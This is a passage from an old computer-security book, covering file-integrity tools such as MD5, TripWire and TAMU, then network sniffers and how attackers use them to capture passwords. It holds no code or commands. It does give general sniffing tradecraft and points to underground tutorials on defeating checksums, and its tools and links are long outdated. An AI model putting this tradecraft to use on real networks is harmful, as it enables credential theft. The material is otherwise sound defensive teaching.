values; in particular, a user gaining access to the root \naccount may modify the raw disk to alter the saved data without it showing in the checklist. \nThere are other indexes, such as checksums, that one can check; these are far better \nindexes, but also not entirely reliable. In the checksum system, the data elements of a file \nare added together and run through an algorithm. The resulting number is a checksum, a \ntype of signature for that file (bar-code readers sometimes use checksums in their scan \nprocess). On the SunOS platform, one can review the checksum of a particular file using \nthe utility sum. sum calculates (and prints to STDOUT or other specified mediums) the \nchecksums of files provided on the argument line. \nAlthough checksums are more reliable than time, date, or last date of modification, these \ntoo can be tampered with. Most system administrators suggest that if you rely on a \nchecksum system, your checksum list should be kept on a separate server or even a \nseparate medium, accessible only by root and other trusted users. In any event, \nchecksums work nicely for checking the integrity of a file transferred, for example, from \npoint A to point B, but that is the extent of it. \n \nNOTE: Users who have performed direct file transfers using communication packages \nsuch as Qmodem, Telix, Closeup, MTEZ, or others will remember that these programs \nsometimes perform checksum or CRC checks as the transfers occur. For each file \ntransferred, the file is checked for integrity. This reduces--but does not eliminate--the \nlikelihood of a damaged file at the destination. If the file proves to be damaged or flawed, \n" }, { "page_number": 205, "text": " \n \nthe transfer process may begin again. When dealing with sophisticated attacks against file \nintegrity, however, this technique is insufficient. \n \n \nCross Reference: Tutorials about defeating checksum systems are scattered across the \nInternet. Most are related to the development of viruses (many virus-checking utilities \nuse checksum analysis to identify virus activity). A collection of such papers (all of \nwhich are underground) can be found at \nhttp://www.pipo.com/guillermito/darkweb/news.html. \n \nMD5 \nYou're probably wondering whether any technique is sufficient. I am happy to report that \nthere is such a technique. It involves calculating the digital fingerprint, or signature, for \neach file. This is done utilizing various algorithms. A family of algorithms, called the MD \nseries, is used for this purpose. One of the most popular implementations is a system \ncalled MD5. \nMD5 is a utility that can generate a digital signature of a file. MD5 belongs to a family of \none-way hash functions called message digest algorithms. The MD5 system is defined in \nRFC 1321. Concisely stated: \nThe algorithm takes as input a message of arbitrary length and produces as output a 128-bit \n\"fingerprint\" or \"message digest\" of the input. It is conjectured that it is computationally infeasible \nto produce two messages having the same message digest, or to produce any message having a \ngiven prespecified target message digest. The MD5 algorithm is intended for digital signature \napplications, where a large file must be \"compressed\" in a secure manner before being encrypted \nwith a private (secret) key under a public-key cryptosystem such as RSA. \n \nCross Reference: RFC 1321 is located at \nhttp://www.freesoft.org/Connected/RFC/1321/1.html. \n \nWhen one runs a file through an MD5 implementation, the signature emerges as a 32-\ncharacter value. It looks like this: \n2d50b2bffb537cc4e637dd1f07a187f4 \nMany sites that distribute security fixes for the UNIX operating system employ this \ntechnique. Thus, as you browse their directories, you can examine the original digital \nsignature of each file. If, upon downloading that file, you find that the signature is \ndifferent, there is a 99.9% chance that something is terribly amiss. \nMD5 performs a one-way hash function. You may be familiar with these operations from \nother forms of encryption, including those used to encrypt password files. \nSome very extreme security programs use MD4 and MD5 algorithms. One such program \nis S/Key, which is a registered trademark of Bell Laboratories. S/Key implements a one-\ntime password scheme. One-time passwords are nearly unbreakable. S/Key is used \nprimarily for remote logins and to offer advanced security along those channels of \ncommunication (as opposed to using little or no security by initiating a normal, garden-\nvariety Telnet or Rlogin session). The process works as described in \"S/Key Overview\" \n(author unknown): \n" }, { "page_number": 206, "text": " \n \nS/Key uses either MD4 or MD5 (one-way hashing algorithms developed by Ron Rivest) to \nimplement a one-time password scheme. In this system, passwords are sent cleartext over the \nnetwork; however, after a password has been used, it is no longer useful to the eavesdropper. The \nbiggest advantage of S/Key is that it protects against eavesdroppers without modification of client \nsoftware and only marginal inconvenience to the users. \n \nCross Reference: Read \"S/Key Overview\" at \nhttp://medg.lcs.mit.edu/people/wwinston/skey-overview.html. \n \nWith or without MD5, object reconciliation is a complex process. True, on a single \nworkstation with limited resources, one could technically reconcile each file and \ndirectory by hand (I would not recommend this if you want to preserve your sanity). \nHowever, in larger networked environments, this is simply impossible. So, various \nutilities have been designed to cope with this problem. The most celebrated of these is a \nproduct aptly named TripWire. \nTripWire \nTripWire (written in 1992) is a comprehensive system-integrity tool. It is written in \nclassic Kernhigan and Ritchie C (you will remember from Chapter 7, \"Birth of a \nNetwork: The Internet,\" that I discussed the portability advantages of C; it was this \nportability that influenced the choice of language for the authors of TripWire). \nTripWire is well designed, easily understood, and implemented with minimal difficulty. \nThe system reads your environment from a configuration file. That file contains all \nfilemasks (the types of files that you want to monitor). This system can be quite incisive. \nFor example, you can specify what changes can be made to files of a given class without \nTripWire reporting the change (or, for more wholesale monitoring of the system, you can \nsimply flag a directory as the target of the monitoring process). The original values \n(digital signatures) for these files are kept within a database file. That database file \n(simple ASCII) is accessed whenever a signature needs to be calculated. Hash functions \nincluded in the distribution are \n• \nMD5 \n• \nMD4 \n• \nCRC32 \n• \nMD2 \n• \nSnefru (Xerox secure hash function) \n• \nSHA (The NIST secure hash algorithm) \nIt is reported that by default, MD5 and the Xerox secure hash function are both used to \ngenerate values for all files. However, TripWire documentation suggests that all of these \nfunctions can be applied to any, a portion of, or all files. \nAltogether, TripWire is a very well-crafted package with many options. \n \n" }, { "page_number": 207, "text": " \n \nCross Reference: TripWire (and papers on usage and design) can be found at \nftp://coast.cs.purdue.edu/pub/tools/unix/TripWire/. \n \nTripWire is a magnificent tool, but there are some security issues. One such issue relates \nto the database of values that is generated and maintained. Essentially, it breaks down to \nthe same issue discussed earlier: Databases can be altered by a cracker. Therefore, it is \nrecommended that some measure be undertaken to secure that database. From the \nbeginning, the tool's authors were well aware of this: \nThe database used by the integrity checker should be protected from unauthorized modifications; \nan intruder who can change the database can subvert the entire integrity checking scheme. \n \nCross Reference: Before you use TripWire, read \"The Design and Implementation of \nTripWire: A File System Integrity Checker\" by Gene H. Kim and Eugene H. Spafford. It \nis located at \nftp://ftp.cs.purdue.edu/pub/spaf/security/Tripwire.PS.Z. \n \nOne method of protecting the database is extremely sound: Store the database on read-\nonly media. This virtually eliminates any possibility of tampering. In fact, this technique \nis becoming a strong trend in security. In Chapter 21, \"Plan 9 from Bell Labs,\" you will \nlearn that the folks at Bell Labs now run their logs to one-time write or read-only media. \nMoreover, in a recent security consult, I was surprised to find that the clients (who were \nonly just learning about security) were very keen on read-only media for their Web-based \ndatabases. These databases were quite sensitive and the information, if changed, could be \npotentially threatening to the security of other systems. \nKim and Spafford (authors of TripWire) also suggest that the database be protected in \nthis manner, though they concede that this could present some practical, procedural \nproblems. Much depends upon how often the database will be updated, how large it is, \nand so forth. Certainly, if you are implementing TripWire on a wide scale (and in its \nmaximum application), the maintenance of a read-only database could be formidable. \nAgain, this breaks down to the level of risk and the need for increased or perhaps \noptimum security. \nTAMU \nThe TAMU suite (from Texas A&M University, of course) is a collection of tools that \nwill greatly enhance the security of a UNIX box. These tools were created in response to \na very real problem. As explained in the summary that accompanies the distribution: \nTexas A&M University UNIX computers recently came under extensive attack from a coordinated \ngroup of Internet crackers. This paper presents an overview of the problem and our responses, \nwhich included the development of policies, procedures, and sdoels to protect university \ncomputers. The tools developed include `drawbridge', an advanced Internet filter bridge, `tiger \nscripts', extremely powerful but easy to use programs for securing individual hosts, and `xvefc', \n(XView Etherfind Client), a powerful distributed network monitor. \nContained within the TAMU distribution is a package of tiger scripts, which form the \nbasis of the distribution's digital signature authentication. As the above-mentioned \nsummary explains: \n" }, { "page_number": 208, "text": " \n \nThe checking performed covers a wide range of items, including items identified in CERT \nannouncements, and items observed in the recent intrusions. The scripts use Xerox's cryptographic \nchecksum programs to check for both modified system binaries (possible trap doors/trojans), as \nwell as for the presence of required security related patches. \n \nCross Reference: Xerox hash.2.5a can be found on the PARC ftp site \n(ftp://parcftp.xerox.com/pub/hash/hash2.5a/). This package is \ngenerally referred to as the Xerox Secure Hash Function, and the distribution is named \nafter Snefru, a pharaoh of ancient Egypt. The distribution at the aforementioned site was \nreleased in 1990, and source is included. For those interested in hacking the Snefru \ndistribution, the material here is invaluable. (Also, refer to a sister document about the \ndistribution and a more comprehensive explanation: A Fast Software One Way Hash \nFunction by Ralph C. Merkle (there is a full citation at the end of this chapter in the \nResources section). \n \nThe TAMU distribution is comprehensive and can be used to solve several security \nproblems, over and above searching for trojans. It includes a network monitor and packet \nfilter. \n \nCross Reference: The TAMU distribution is available at \nftp://coast.cs.purdue.edu/pub/tools/unix/TAMU/. \n \nATP (The Anti-Tampering Program) \nATP is a bit more obscure than TripWire and the TAMU distribution, but I am not certain \nwhy. Perhaps it is because it is not widely available. In fact, searches for it may lead you \noverseas (one good source for it is in Italy). At any rate, ATP works somewhat like \nTripWire. As reported by David Vincenzetti, DSI (University of Milan, Italy) in \"ATP--\nAnti-Tampering Program\": \nATP 'takes a snapshot' of the system, assuming that you are in a trusted configuration, and \nperforms a number of checks to monitor changes that might have been made to files. \n \nCross Reference: \"ATP--Anti-Tampering Program\" can be found at \nhttp://www.cryptonet.it/docs/atp.html. \n \nATP then establishes a database of values for each file. One of these values (the \nsignature) consists of two checksums. The first is a CRC32 checksum, the second an \nMD5 checksum. You might be wondering why this is so, especially when you know that \nCRC checksums are not entirely secure or reliable, as explained previously. The \nexplanation is this: Because of its speed, the CRC32 checksum is used in checks \nperformed on a regular (perhaps daily) basis. MD5, which is more comprehensive (and \ntherefore more resource and time intensive), is intended for scheduled, periodic checks \n(perhaps once a week). \nThe database is reportedly encrypted using DES. Thus, ATP provides a flexible (but quite \nsecure) method of monitoring your network and identifying possible trojans. \n \nCross Reference: ATP docs and distribution can be found at \nftp://security.dsi.unimi.it/pub/security. \n" }, { "page_number": 209, "text": " \n \n \nHobgoblin \nThe Hobgoblin tool is an interesting implementation of file- and system-integrity \nchecking. It utilizes Ondishko Consistency checking. The authors of the definitive paper \non Hobgoblin (Farmer and Spafford at Purdue) claim that the program is faster and more \nconfigurable than COPS and generally collects information in greater detail. What makes \nHobgoblin most interesting, though, is that it is both a language and an interpreter. The \nprogrammers provided for their own unique descriptors and structural conventions. \nThe package seems easy to use, but there are some pitfalls. Although globbing \nconventions (from both csh and sh/bash) are permissible, the Hobgoblin interpreter \nreserves familiar and often-used metacharacters that have special meaning. Therefore, if \nyou intend to deploy this powerful tool in a practical manner, you should set aside a few \nhours to familiarize yourself with these conventions. \nIn all, Hobgoblin is an extremely powerful tool for monitoring file systems. However, I \nshould explain that the program was written specifically for systems located at the \nUniversity of Rochester and, although it has been successfully compiled on a variety of \nplatforms, your mileage may vary. This is especially so if you are not using a Sun3, Sun4, \nor VAX with Ultrix. In this instance, some hacking may be involved. Moreover, it has \nbeen observed that Hobgoblin is lacking some elements present in other file-integrity \ncheckers, although I believe that third-party file-integrity checkers can be integrated with \n(and their calls and arguments nested within) Hobgoblin. \n \nCross Reference: Hobgoblin and its source are located at \nftp://freebsd.cdrom.com/.20/security/coast/tools/unix/hobgob\nlin/hobgoblin.shar.Z.uu.Z. \n \nOn Other Platforms \nYou're probably wondering whether there are any such utilities for the Windows \nplatform. It happens that there are, though they are perhaps not as powerful or reliable. \nMost of these tools use checksum integrity checkers and are, therefore, not as \ncomprehensive as tools that employ MD5. Flatly stated, the majority for the Microsoft \nplatform are intended for use as virus scanners. \nFor this reason, I have not listed these utilities here (a listing of them does appear in \nChapter 14, \"Destructive Devices\"). However, I do want to address a few points: It is \ngenerally assumed that trojans are a security problem primarily for UNIX and that when \nthat problem is a Windows problem, it usually involves a virus. There is some truth to \nthis, and there are reasons for it. \nUntil recently, security on IBM compatibles running Microsoft products was slim. There \nwas no need for complex trojans that could steal (or otherwise cull) information. Thus, \nthe majority of trojans were viruses encased in otherwise useful (or purportedly useful) \nprograms. That situation has changed. \n" }, { "page_number": 210, "text": " \n \nIt should be understood that a trojan can be just as easily written for a Microsoft \nplatforms as for any other. Development tools for these platforms are powerful, user-\nfriendly applications (even VC++ far surpasses C compiling utilities made by other \nfirms). And, now that the Windows environment is being used as Internet server material, \nyou can expect the emergence of trojans. \nSummary \nPeople generally equate trojan horses with virus attacks and, while this is accurate to \nsome degree, it is not the whole picture. True, trojans on the PC-based operating systems \nhave traditionally been virus related, but on the UNIX platform, a totally different story \nemerges. On the UNIX platform, crackers have consistently crafted trojans that \ncompromise security without damaging data or attaching unauthorized code to this or that \nexecutable. \nIn either case, however, one thing is clear: Trojans are a significant security risk to any \nserver as well as to machines networked to that server. Because PC-based servers are \nbecoming more common on the Internet, utilities (above and beyond those virus checkers \nalready available) that can identify trojaned files must be developed. \nResources \nFollowing you will find an extensive list of resources concerning object reconciliation. \nSome of these documents are related to the process of object reconciliation (including \npractical examples) and some are related to the process by which this reconciliation is \nperformed. All of them were handpicked for relevancy and content. These are the main \npapers available from the void (some books are sprinkled in as well). I recommend that \nevery system administrator at least gain a baseline knowledge of these techniques (if not \nactually implement the procedures detailed within). \n\"MDx-MAC and Building Fast MACs from Hash Functions.\" Bart Preneel and Paul \nC. van Oorschot. Crypto 95. \n• \nftp.esat.kuleuven.ac.be/pub/COSIC/preneel/mdxmac_crypto95.ps \n\"Message Authentication with One-Way Hash Functions.\" Gene Tsudik. 1992. IEEE \nInfocom 1992. \n• \nhttp://www.zurich.ibm.com/Technology/Security/publications/1992/t92.ps.Z \n\"RFC 1446--1.5.1. Message Digest Algorithm.\" Connected: An Internet Encyclopedia. \n• \nhttp://www.freesoft.org/Connected/RFC/1446/7.html \n\"Answers To FREQUENTLY ASKED QUESTIONS About Today's \nCryptography.\" Paul Fahn. RSA Laboratories. 1993 RSA Laboratories, a division of \nRSA Data Security. \n• \nhttp://www.sandcastle-ltd.com/Info/RSA_FAQ.html \n" }, { "page_number": 211, "text": " \n \n\"The Checksum Home Page.\" Macintosh Checksum. \n• \nhttp://www.cerfnet.com/~gpw/Checksum.html \n\"RFC 1510--6. Encryption and Checksum Specifications.\" Connected: An Internet \nEncyclopedia. \n• \nhttp://www.freesoft.org/Connected/RFC/1510/69.html \n\"RFC 1510--6.4.5. RSA MD5 Cryptographic Checksum Using DES (rsa-md5des).\" \nConnected: An Internet Encyclopedia. J. Kohl. Digital Equipment Corporation, C. \nNeuman, ISI. September 1993. \n• \nhttp://www.freesoft.org/Connected/RFC/1510/index.html \n\"Improving the Efficiency and Reliability of Digital Time-Stamping.\" D. Bayer and \nS. Haber and W. S. Stornetta. 1992. \n• \nhttp://www.surety.com \n\"A Proposed Extension to HTTP: Simple MD5 Access Authentication.\" Jeffery L. \nHostetler and Eric W. Sink. 1994. \n• \nhttp://www.spyglass.com/techreport/simple_aa.txt \n\"A Digital Signature Based on a Conventional Encryption Function.\" Ralph C. \nMerkle. Crypto 87, LNCS, pp. 369-378, SV, Aug 1987. \n\"An Efficient Identification Scheme based on Permuted Kernels.\" Adi Shamir. \nCrypto 89, LNCS, pp. 606-609, SV, Aug 1989. \n\"An Introduction To Digest Algorithms.\" Proceedings of the Digital Equipment \nComputer Users Society Australia, Ross N. Williams. Sep 1994. \n• \nftp://ftp.rocksoft.com/pub/rocksoft/papers/digest10.tex \n\"Data Integrity With Veracity.\" Ross N. Williams. \n• \nftp://ftp.rocksoft.com/clients/rocksoft/papers/vercty10.tex \n\"Implementing Commercial Data Integrity with Secure Capabilities.\" Paul A. \nKarger. SympSecPr. Oakland, CA. 1988. IEEECSP. \n\"Trusted Distribution of Software Over the Internet.\" Aviel D. Rubin. (Bellcore's \nTrusted Software Integrity (Betsi) System). 1994. \n• \nftp://ftp.cert.dfn.de/pub/docs/betsi/Betsi.ps \n\"International Conference on the Theory and Applications of Cryptology.\" 1994 \nWollongong, N.S.W. Advances in Cryptology, ASIACRYPT November 28-December 1, \n1994. (Proceedings) Berlin & New York. Springer, 1995. \n" }, { "page_number": 212, "text": " \n \n\"Managing Data Protection\" (Second Edition). Dr. Chris Pounder and Freddy Kosten, \nButterworth-Heineman Limited, 1992. \n\"Some Technical Notes on S/Key, PGP...\" Adam Shostack. \n• \nhttp://www.homeport.org/~adam/skey-tech-2.html \n\"Description of a New Variable-Length Key, 64-Bit Block Cipher\" (Blowfish). Bruce \nSchneier. Counterpane Systems. \n• \nhttp://www.program.com/source/crypto/blowfish.txt \n" }, { "page_number": 213, "text": " \n \n12 \nSniffers \nA sniffer is any device, whether software or hardware, that grabs information traveling \nalong a network. That network could be running any protocol: Ethernet, TCP/IP, IPX, or \nothers (or any combination of these). The purpose of the sniffer to place the network \ninterface--in this case, the Ethernet adapter--into promiscuous mode and by doing so, to \ncapture all network traffic. \n \nNOTE: Promiscuous mode refers to that mode where all workstations on a network \nlisten to all traffic, not simply their own. In other words, non-promiscuous mode is where \na workstation only listens to traffic route it its own address. In promiscuous mode, the \nworkstation listens to all traffic, no matter what address this traffic was intended for. \n \nWhen one discusses sniffers, one is not discussing key capture utilities, which grab \nkeystrokes and nothing more. Essentially, a key capture utility is the software equivalent \nof peering over someone's shoulder. This peering might or might not reveal important \ninformation. True, it might capture passwords typed into the console of the local terminal, \nbut what about other terminals? In contrast, sniffers capture network traffic. This network \ntraffic (irrespective of what protocol is running) is composed of packets (these might be \nIP datagrams or Ethernet packets). These are exchanged between machines at a very low \nlevel of the operating-system network interface. However, these also carry vital data, \nsometimes very sensitive data. Sniffers are designed to capture and archive that data for \nlater inspection. \nAbout Ethernet \nAs I have discussed, Ethernet was created at Xerox's Palo Alto Research Center. \n(Sometimes referred to as PARC Place.) You might remember an RFC document that I \npresented earlier in this book: It was posted over a Christmas holiday and discussed the \nissue of hackers gaining access to a network that would soon become the Internet. The \nauthor of that RFC was Bob Metcalfe, who, along with David Boggs (both at PARC), \ninvented Ethernet. \nIn 1976, these two gentlemen presented to the computing communities a document titled \nEthernet: Distributed Packet Switching for Local Computer Networks. The ideas set forth \nin that paper revolutionized business-based computing. Prior to the birth of Ethernet, \nmost large networks were strung to mainframe computers (in even earlier years, most \nsystems were based on computer time sharing). \nToday, Ethernet is probably the most popular way to network machines. A group of \nmachines within an office that are linked via Ethernet might be referred to as a local area \nnetwork (LAN). These machines are strung together with high-speed cable that transfers \ninformation as quickly (or sometimes much more quickly) than most hard drives. \n" }, { "page_number": 214, "text": " \n \n \nNOTE: You might remember that in Chapter 6, \"A Brief Primer on TCP/IP,\" I noted that \none element of TCP/IP networking was the full-duplex transmission path, which allows \ninformation to travel in both directions at one time, a common situation in TCP/IP that is \nespecially vital to the error-reporting process during a transmission (a typical example \nmight be during a FTP transfer). Ethernet does not truly support full-duplex transmission \nand therefore, although Ethernet interfaces are advertised as being capable of extremely \nhigh-speed transmission, you can expect only perhaps 50-75 percent of the actual \nadvertised speed when using Ethernet on a high-traffic network. If you were to employ a \npacket sniffer, you would see that while a card is receiving a heavy transmission of data \nfrom some card elsewhere on the network, it cannot also send data out with any great \nreliability. That represents an interesting security issue of sorts. For example, can an \nEthernet card answer an ARP request while being bombarded with data? If not, couldn't a \ncracker temporarily conduct an ARP spoofing session under such circumstances? At any \nrate, there are switching products that can remedy this limitation. \n \nThe Composition of an Ethernet Network \nThe composition of a network is complex. First, in order for each machine to be part of a \nnetwork, it must have both software and hardware designed to traffic Ethernet packets. \nThe four minimal components necessary are illustrated in Figure 12.1. \nFigure 12.1. \nThe minimum requirements for a single workstation. \nThe software can either come with the operating system (Novell NetWare, UNIX, \nWindows NT, Windows 95), or it can be a third-party product added later (LANtastic). \nAt a minimum, the software needed is as follows: \n• \nEthernet packet driver \n• \nNetwork adapter driver \nThe network adapter driver commonly comes with the network adapter or Ethernet card. \nIt is typically provided by the manufacturer of the card but might also be included in a \ntotal package. This is not always true. It is primarily the IBM-compatible architecture that \nrequires an Ethernet card. Most workstations (and most Macintoshes) have on-board \nEthernet support. This means that the Ethernet card is already hard-wired to the \nmotherboard. I believe that IBM-based RS/6000 machines might be one of the few real \nexceptions to this. A good example would be an IBM Powerstation 320H. \n \nNOTE: Most operating systems now come with boot drivers for various Ethernet cards. \nLinux certainly does, as does Windows 95 and Windows NT. Chances are, unless you \nhave a very strange, off-beat Ethernet card, you may never need the manufacturer's \ndriver. \n \nThe packet driver negotiates packets back and forth. The network adapter driver is used \nto bind the Ethernet protocol to the Ethernet card. The card transmits these packets from \nthe workstation and into wire. This wire may be one of several kinds. Some Ethernet \ncable transmits packets at 10MB/sec, others at 100MB/sec. \n" }, { "page_number": 215, "text": " \n \n \nNOTE: TCP/IP can be bound to most Ethernet cards as quickly as IPX or other network \nprotocols. \n \nSo you have a machine running Ethernet software (for both packet and card). The \nmachine is a classic workstation, equipped with an Ethernet card that connects to a cable. \nBut where does the data that travels down that cable lead? The answer depends on the \nnetwork needs of the organization. \nIn general, there will be a least several other workstations and a network hub (see Figure \n12.2). The workstations may be deposited throughout a building, with the wire strung \nthrough the walls. \nFigure 12.2. \nBasic network setting. \nFigure 12.2 shows a very simple network setting. Thousands of businesses nationwide \nhave such a setting, using any of a dozen different networked operating systems. \n \nNOTE: In many network settings, you can take the hub out of the picture altogether. \nThere are plenty of Novell NetWare networks that have simply a file server or a closed-\ncircuit cabling scheme, precisely like the setup in Figure 12.2. Hubs are used for many \nthings, including enhancement of security, as you will see later. But if you have no fear \nof allowing indiscriminate, network-wide broadcasts, a hub might not be necessary. \n \nNote the line in Figure 12.2 that represents information flow. On networks without hubs, \nthe data doesn't point in any particular direction. Instead, it travels in all directions. A \ntypical example of this is at the moment a message needs to be sent. Each network node \nor workstation is an interface. When a message needs to be sent, a request is forwarded to \nall interfaces, looking for the intended recipient. This request is sent in the form of a \ngeneral broadcast. \nThis broadcast issues a message to all interfaces, saying: \"Hey! Which one of you is this \ndata destined for? Will the real recipient please stand up?\" All interfaces receive this \nmessage, but only one (the one for which the message is intended) actually replies. In this \nrespect, then, there is no established flow of information until the recipient is known. As \nyou might expect, because this broadcast is global on the network, all machines hear it. \nThose that are not intended recipients of the data hear the broadcast but ignore it. The \nrequest packet dies at such workstations because there is no reply. \n \nNOTE: This all broadcast scenario only occurs in network blocks, or segments. In other \nwords, bar hard-wiring by hub (where all machines are strung to a hub), the information \nwill be broadcast between all machines within that network segment. As you will see, the \ntopology of such segments can greatly enhance or debilitate your network security, at \nleast with respect to sniffers. In general, however, all machines are sent this request. \n \nThe workstation that is the intended recipient responds, forwarding its hardware address. \nThe information is then sent down the wire (in packets) from the issuing workstation to \nthe recipient. You might imagine that in this scenario (and from the instant that the \n" }, { "page_number": 216, "text": " \n \nrecipient is known), all other workstations ignore the data being sent between the bona-\nfide sender and recipient. This is true; they do. However, they do not necessarily have to \nignore this data, and if they don't, they can still hear it. In other words, any information \ntraveling through the network is always \"hear-able\" by all interfaces within a segment \n(barring installation of controls to prevent it). \nA sniffer is nothing more than hardware or software that hears (and does not ignore) all \npackets sent across the wire. In this respect, every machine and every router is a sniffer \n(or at least, each of these devices could be a sniffer). This information is then stored on \nsome media and archived for later viewing. \n \nNOTE: To use your machine as a sniffer, you will need either special software (a \npromiscuous driver for the Ethernet card) or a version of networking software that allows \npromiscuous mode. \n \n \nNOTE: Think of the network as a dynamic atmosphere, such as a river. In that river, \npackets flow freely along the path of least resistance. A sniffer is an entity that sticks its \nhand into the river and filters the water through its fingers. \n \nA sniffer can be (and usually is) a combination of both hardware and software. The \nsoftware might be a general network analyzer enabled with heavy debugging options, or \nit might be a real sniffer. \nA sniffer must be located within the same network block (or net of trust) as the network it \nis intended to sniff. With relatively few exceptions, that sniffer could be placed anywhere \nwithin that block (see Figure 12.3). \nFigure 12.3. \nPossible placements for sniffers. \nNotice that one of the positions I have marked as a sniffer is located in the void (along the \nnetwork wire instead of within a workstation). This is possible, though unlikely. Certain \ntools designed for network-traffic analysis can be spliced into the cable itself. These tools \nare quite expensive and not something that the average cracker would employ (however, I \nthought I should mention them). \n \nCross Reference: There are also devices that are referred to as cable sniffers, which are \nused to diagnose problems along network cable. One such product is called the Cable \nSniffer by Macally. It can be used to sniff cable problems on AppleTalk networks. Their \npage is located at http://www.macally.com/. \n \nSniffers are a significant threat because of the following: \n• \nThey can capture passwords. \n• \nThey can capture confidential or proprietary information. \n• \nThey can be used to breach security of neighboring networks. \n" }, { "page_number": 217, "text": " \n \nWhere Is One Likely to Find a Sniffer? \nYou are likely to find a sniffer almost anywhere. However, there are some strategic \npoints that a cracker might favor. One of those points is anywhere adjacent to a machine \nor network that receives many passwords. This is especially so if the targeted machine is \nthe gateway of a network, or a path of data going to or coming from the outside world. If \nyour network goes out to the Internet (and that's really what I'm getting at here), the \ncracker will want to capture authentication procedures between your network and other \nnetworks. This could exponentially expand the cracker's sphere of activity. \nWhat Level of Risk Do Sniffers Represent? \nSniffers represent a high level of risk. In fact, the existence of a sniffer in itself shows a \nhigh level of compromise. In fact, if a sniffer has been placed on your network (by folks \nother than those authorized to undertake such an action), your network is already \ncompromised. That is, taking the case study out of the LAN and into the Internet, if your \nInternet-enabled network has a sniffer, someone has breached your network security. One \nscenario is that he or she has come from the outside and placed a monitoring device on \nyour network. The other scenario is that one of your own is up to no good. Either way, \nthe situation is grave. \nSecurity analysts characterize a sniffer attack as a second-level attack. The cracker has \nalready worked his or her way into your network and now seeks to further compromise \nthe system. To do so, he must begin by capturing all the user IDs and passwords. For that \nreason (and for the information a sniffer gathers), a sniffer represents an extremely high \nlevel of risk. \nHowever, sniffers can catch more than simply user IDs and passwords; they can capture \nsensitive financial data (credit-card numbers), confidential information (e-mail), and \nproprietary information. Depending on the resources available to the cracker, a sniffer is \ncapable of capturing nearly all traffic on a network. \n \nNOTE: I do not believe that, in practice, any sniffer can catch absolutely all traffic on a \nnetwork. This is because as the number of packets increases, the chances of lost packets \nis high. If you examine technical reports on sniffers, you will discover that at high speeds \nand in highly trafficked networks, a more-than negligible amount of data can be lost. This \nsuggests that sniffers employed by the good guys might be vulnerable to attacks \nthemselves. In other words, just how many packets per second can a sniffer take before it \nstarts to fail in its fundamental mission? That is a subject probably worth investigating. \nSecurity technology has evolved considerably. Some operating systems \nnow employ encryption at the packet level, and, therefore, even though a \nsniffer attack can yield valuable data, that data is encrypted. This presents \nan additional obstacle likely to be passed only by those with deeper \nknowledge of security, encryption, and networking. \n \n" }, { "page_number": 218, "text": " \n \nWhere Do Sniffers Come From and Why Do They \nExist? \nSniffers are designed as devices that can diagnose a network connection. You will \nremember that in Chapter 9, \"Scanners,\" I referred to a UNIX command called \ntraceroute. traceroute examines the route between two points and is used to \ndetermine whether problems exist along that route (for example, if one of the machines \naÚ g that route has died). \nTools such as traceroute are sniffers of sorts. However, a hard-core sniffer is designed \nto examine the packet traffic at a very deep level. Again, this--like the scanner--has a \nperfectly legitimate purpose. Sniffers were designed by those aiding network engineers \n(and not for the purpose of compromising networks). \nSome companies produce entire suites of sniffer applications designed to diagnose \nnetwork problems. The leading company in this industry is Network General Corporation \n(NGC), which offers a wide variety of sniffer products, including \n• \nThe Sniffer Network Analyzer (I should mention that the term The Sniffer is a registered \ntrademark of NGC) \n• \nA wide area network (WAN) Sniffer \n• \nNetwork General Reporter \nOn What Platforms Will a Sniffer Run? \nSniffers now exist for every network platform, but even if they did not, they would still \nbe a threat to you. Here is why: Sniffers sniff packets, not machines. Unless your network \nis entirely homogenous, a sniffer could exist there. As I pointed out, a sniffer need be \nonly on a single node of a network (or at a gateway) to sniff traffic. This is because of the \nmanner in which Ethernet broadcasts occur. Because the traffic is broadcasted to all \nnodes on a network segment, any platform that you have will do. Also, more sniffers for \ndifferent operating systems emerge every few months; because source is now available \nfor a wide variety of systems, it seems likely that trend will continue. Eventually, you \nwill see the ultimate sniffer written for Windows 95 with some sort of VB front end. You \ncan bet on it. \nHas Anyone Actually Seen a Sniffer Attack? \nThere have been many sniffer attacks executed over the Internet; these attacks were \ndisparate in terms of target and scope. Consider this security advisement update: \nIn February 1994, an unidentified person installed a network sniffer on numerous hosts and \nbackbone elements collecting over 100,000 valid user names and passwords via the Internet and \nMilnet. Any computer host allowing FTP, Telnet or remote log in to the system should be \nconsidered at risk...All networked hosts running a UNIX derivative operating system should check \nfor the particular promiscuous device driver that allows the sniffer to be installed.1 \n" }, { "page_number": 219, "text": " \n \n \n1Naval Computer & Telecommunications Area Master Station LANT advisory. \n \n \nCross Reference: You can access the Naval Computer & Telecommunications Area \nMaster Station LANT advisory at \nhttp://www.chips.navy.mil/chips/archives/94_jul/file14.html. \n \nNaturally, institutions and private companies are reluctant to state what level of \ncompromise might have occurred. But, there are many such victims: \n• \nCalifornia State University at Stanislaus \n• \nA United States Army missile research laboratory \n• \nWhite Sands Missile Range \n \nCross Reference: For more information about the Stanislaus incident, visit \nhttp://yahi.csustan.edu/studnote.html. \nFor more information about the U.S. Army missile research lab and White \nSands Missile Range incidents, see the GAO report at \nhttp://www.securitymanagement. com/library/000215.html. \n \nUniversities seem to be consistent targets, mainly because of the sheer volume of \nusernames and passwords that can be gleaned from such an attack. This also translates \ninto bigger and more complex networks. Network administration in a university is quite a \njob, even if crackers aren't prowling around. How many times have you fingered an \naccount at a university only to find that the target was discharged or graduated a year or \nmore before? Two days before writing this chapter, I encountered exactly that situation. \nExcept that the individual had been gone 18 months. Even so, his account was still \nactive! \nWhat Information Is Most Commonly Gotten from a \nSniffer? \nA sniffer attack is not as easy as you might think. It requires some knowledge of \nnetworking before a cracker can effectively launch one. Simply setting up a sniffer and \nleaving it will lead to problems because even a five-station network transmits thousands \nof packets an hour. Within a short time, the outfile of a sniffer could easily fill a hard disk \ndrive to capacity (if you logged every packet). \nTo circumvent this problem, crackers typically sniff only the first 200-300 bytes of each \npacket. Contained within this portion is the username and password, which is really all \nmost crackers want. However, it is true that you could sniff all the packets on a given \ninterface; if you have the storage media to handle that kind of volume, you would \nprobably find some interesting things. \n" }, { "page_number": 220, "text": " \n \nWhere Does One Get a Sniffer? \nThere are many sniffers available on many platforms. As you might expect, the majority \nof these are commercial. Commercial sniffing applications are a good idea if you have a \nreal need to diagnose your network (or catch a cracker). They are probably a poor idea if \nyou simply want to learn about networking. \nGobbler (Tirza van Rijn) \nGobbler, shown in Figure 12.4, is probably the best sniffer for someone wanting to learn \na bit about network traffic. It was designed to work on the MS-DOS platform but can be \nrun in Windows 95. 